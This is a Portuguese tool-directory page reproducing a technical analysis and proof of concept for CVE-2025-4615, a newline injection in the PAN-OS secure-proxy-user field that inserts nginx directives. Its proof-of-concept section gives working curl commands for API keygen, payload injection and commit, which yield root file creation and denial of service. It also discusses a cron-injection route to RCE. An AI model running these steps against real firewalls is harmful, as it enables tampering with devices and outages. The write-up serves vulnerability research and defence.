Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2025-4615 — cve-2025-4615 poc & deep dive | Kitploit
Ferramentas/GitHubGitHub/sh00bx/cve-2025-4615
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationConfiguration AuditingPenetration Testing
GitHubsh00bx/cve-2025-4615

cve-2025-4615

cve-2025-4615 poc & deep dive

Ver Repositório
há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-4615 — Análise Técnica & Prova de Conceito

Vulnerabilidade: Neutralização Incorreta de Entrada na Interface Web de Gerenciamento do PAN-OS
Comunicado do Fornecedor: https://security.paloaltonetworks.com/CVE-2025-4615
CVSS 4.0: 6.9 (MÉDIO) — Integridade ALTA, Disponibilidade ALTA
CWE: CWE-83 (Neutralização Incorreta de Script em Atributos em uma Página Web)
CAPEC: CAPEC-165 (Manipulação de Arquivos)
Crédito: Visa Inc.
Data da Análise: 2026-03-26


1. Resumo Executivo

CVE-2025-4615 é uma vulnerabilidade de injeção de nova linha no campo de configuração secure-proxy-user do PAN-OS da Palo Alto Networks. Um administrador autenticado pode injetar caracteres de nova linha (\n) no nome de usuário do proxy via API XML ou interface web. Durante o commit, este valor é gravado sem sanitização em /etc/nginx/nginx.conf, escapando de uma linha de comentário e injetando diretivas nginx arbitrárias.

Impacto:

  • Criação/gravação arbitrária de arquivos como root através da diretiva access_log injetada
  • Negação de Serviço — diretivas inválidas impedem o recarregamento do nginx, matando a interface de gerenciamento
  • Corrupção de configuração em vários arquivos de configuração do sistema

Nota: A correção do fornecedor (remoção de caracteres de nova linha) é incompleta — o mesmo campo permanece vulnerável a Cross-Site Scripting armazenado (XSS) porque nenhuma codificação de saída ou lista de permissão de caracteres é aplicada.


2. Análise da Causa Raiz

2.1 O Ponto de Injeção

O campo secure-proxy-user é definido no esquema do PAN-OS (schema.xml) como uma string simples sem sanitização de entrada:

root@kitploit:~
<element name="secure-proxy-user" optional="yes" type="string"
         help-string="Secure Proxy user name to use"/>

Nota: secure-proxy-server possui uma restrição regex (regex="^([0-9a-zA-Z.:/_-])+$"), mas secure-proxy-user não possui nenhuma. Há um limite de 31 caracteres, mas sem restrições de caracteres.

2.2 O Gravação de Config Vulnerável

Durante o commit, o PAN-OS regenera /etc/nginx/nginx.conf a partir de um template (/etc/nginx/nginx.conf.tmpl). O template contém:

root@kitploit:~
#pan_proxy_comment %s

O placeholder %s é preenchido pela função da biblioteca libpanmp_mp.so que concatena servidor proxy, nome de usuário e senha criptografada em uma única string. Na versão vulnerável, os caracteres de nova linha no nome de usuário são passados sem alterações.

2.3 A Corrupção Resultante do nginx.conf

Quando secure-proxy-user contém a\naccess_log /tmp/pwn3;\n#, o nginx.conf gerado se torna:

root@kitploit:~
  #pan_proxy_comment 8.8.8.9 a        — Comment (harmless)
access_log /tmp/pwn3;                  — INJECTED DIRECTIVE (executed by nginx!)
# -AQ==encrypted_password==            — Password commented out by injected #

A linha 1 é um comentário. A linha 2 é uma diretiva nginx válida no nível do bloco http. A linha 3 é neutralizada pelo caractere # do atacante.

2.4 Por Que Isso É Perigoso

O processo mestre do nginx é executado como root. A diretiva access_log faz com que o nginx abra/crie o arquivo de destino como root. Isso permite:

  1. Criação arbitrária de arquivos em qualquer lugar do sistema de arquivos
  2. Gravação arbitrária de arquivos (o conteúdo do log de acesso HTTP é anexado)
  3. DoS se uma diretiva inválida for injetada (nginx se recusa a recarregar)

3. A Correção (e suas Limitações)

Na versão corrigida (11.1.13), o gravador de configuração remove caracteres de nova linha do nome de usuário do proxy antes de gravá-lo no nginx.conf. O mesmo valor malicioso produz:

root@kitploit:~
  #pan_proxy_comment 8.8.8.9 aaccess_log /tmp/pwn3;# -AQ==encrypted_password==

Tudo permanece em uma linha, com segurança dentro do comentário #.

No entanto, essa correção é incompleta. Ela aborda apenas a injeção de nova linha. O campo secure-proxy-user ainda aceita caracteres arbitrários (incluindo ", <, >) sem codificação de saída, deixando o vetor de XSS armazenado totalmente aberto. Veja unit-43-xss.


4. Prova de Conceito

Pré-requisitos

  • Acesso de administrador autenticado ao gerenciamento do PAN-OS (API ou interface web)
  • Um secure-proxy-server configurado (necessário para que o comentário do proxy apareça)

Passo 1: Obter Chave da API

root@kitploit:~
curl -sk "https://<PANOS_IP>/api/?type=keygen&user=admin&password=<PASSWORD>"

Passo 2: Configurar Servidor Proxy (se não estiver configurado)

root@kitploit:~
curl -sk -X POST "https://<PANOS_IP>/api/" \
  --data-urlencode "type=config" \
  --data-urlencode "action=set" \
  --data-urlencode "key=<APIKEY>" \
  --data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
  --data-urlencode "element=<secure-proxy-server>8.8.8.9</secure-proxy-server>"

Passo 3: Injetar Nome de Usuário Malicioso do Proxy

root@kitploit:~
# Payload: "a\naccess_log /tmp/pwn3;\n#"
# Total: 26 characters (within 31-char limit)
# Injects: access_log /tmp/pwn3; — creates /tmp/pwn3 as root

curl -sk -X POST "https://<PANOS_IP>/api/" \
  --data-urlencode "type=config" \
  --data-urlencode "action=set" \
  --data-urlencode "key=<APIKEY>" \
  --data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
  --data-urlencode 'element=<secure-proxy-user>a
access_log /tmp/pwn3;
#</secure-proxy-user>'

Passo 4: Commitar Configuração

root@kitploit:~
curl -sk "https://<PANOS_IP>/api/?type=commit&cmd=<commit><force></force></commit>&key=<APIKEY>"

Passo 5: Verificar

Após o commit ser concluído (~30s):

  • /tmp/pwn3 é criado com propriedade root
  • nginx -t -c /etc/nginx/nginx.conf relata: syntax is ok
  • nginx recarrega com sucesso com a diretiva injetada

5. Análise de Propagação

O valor não sanitizado de secure-proxy-user se propaga para vários arquivos:

Os gravadores do curlrc (/root/.curlrc) e wgetrc (/root/.wgetrc) removem novas linhas, mesmo na versão vulnerável. O gravador do nginx.conf foi o único caminho que não sanitizou.


6. Avaliação de RCE

Testes extensivos de 11 vetores de ataque confirmaram que RCE autônomo em nível de SO a partir de CVE-2025-4615 isoladamente não é alcançável no PAN-OS 11.1.6-h7 com nginx 1.20.1. Os três bloqueadores críticos:

  1. Escape do nginx para \x0A — impede a injeção bruta de novas linhas em arquivos de log, bloqueando a injeção em cron apesar da tolerância do vixie-cron a linhas de lixo (confirmado em laboratório: cron executa linhas válidas cercadas por lixo)
  2. Limite de 31 caracteres — impede a combinação de log_format + access_log para obter controle de conteúdo sobre arquivos gravados
  3. Remoção de novas linhas no curlrc/wgetrc — elimina o canal secundário de gravação de arquivos

O "executar comandos arbitrários" do comunicado provavelmente se refere a diretivas nginx arbitrárias, não à execução de comandos a nível de SO. Isso é consistente com o CVSS VC:N (nenhum impacto na confidencialidade) e a natureza da correção.

Se algum dos três bloqueadores estivesse ausente, RCE seria trivialmente alcançável via injeção em cron.


Análise realizada em ambiente de laboratório isolado com PAN-OS 11.1.6-h7 (vulnerável) e PAN-OS 11.1.13 (corrigido).

Baixar ferramenta
FileImpact
/etc/nginx/nginx.confCrítico — injeção de diretiva nginx
/opt/pancfg/tmp/.tdb_conf.xmlConfiguração do DB de template (injeção de XML)
/opt/pancfg/mgmt/audit/cfg-audit.xml,vCorrupção do trilha de auditoria
/opt/pancfg/mgmt/replaydb/replay.dbCorrupção do banco de replay
Configurações de daemon geradas por XSL (authd, cord, useridd, etc.)Valor XML preservado com novas linhas